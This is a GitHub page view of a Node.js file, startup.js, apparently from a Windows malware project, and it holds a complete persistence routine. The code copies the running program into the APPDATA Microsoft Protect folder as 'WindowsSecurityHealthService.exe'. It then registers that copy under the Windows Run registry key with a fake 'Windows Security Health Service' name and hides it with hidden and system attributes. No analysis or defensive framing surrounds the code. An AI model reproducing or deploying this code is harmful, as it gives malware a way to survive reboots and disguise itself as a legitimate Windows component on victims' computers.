-
Notifications
You must be signed in to change notification settings - Fork 4
/
Copy pathstartup.js
32 lines (25 loc) · 917 Bytes
/
startup.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
const fs = require('fs');
const path = require('path');
const program = require('../../utils/program/program.js');
module.exports = async () => {
try {
const exePath = await program.CurrentAppPath();
if (exePath === 'Not Found') {
return
}
const targetPath = path.join(process.env.APPDATA, 'Microsoft', 'Protect', 'WindowsSecurityHealthService.exe');
if (fs.existsSync(targetPath)) {
fs.unlinkSync(targetPath);
}
await program.SetRegistryValue({
keyPath: '\\Software\\Microsoft\\Windows\\CurrentVersion\\Run',
name: 'Windows Security Health Service',
type: 'REG_SZ',
value: targetPath
})
fs.copyFileSync(exePath, targetPath);
await program.ExecCommand(`attrib +h +s "${targetPath}"`);
} catch (error) {
console.error(error);
}
};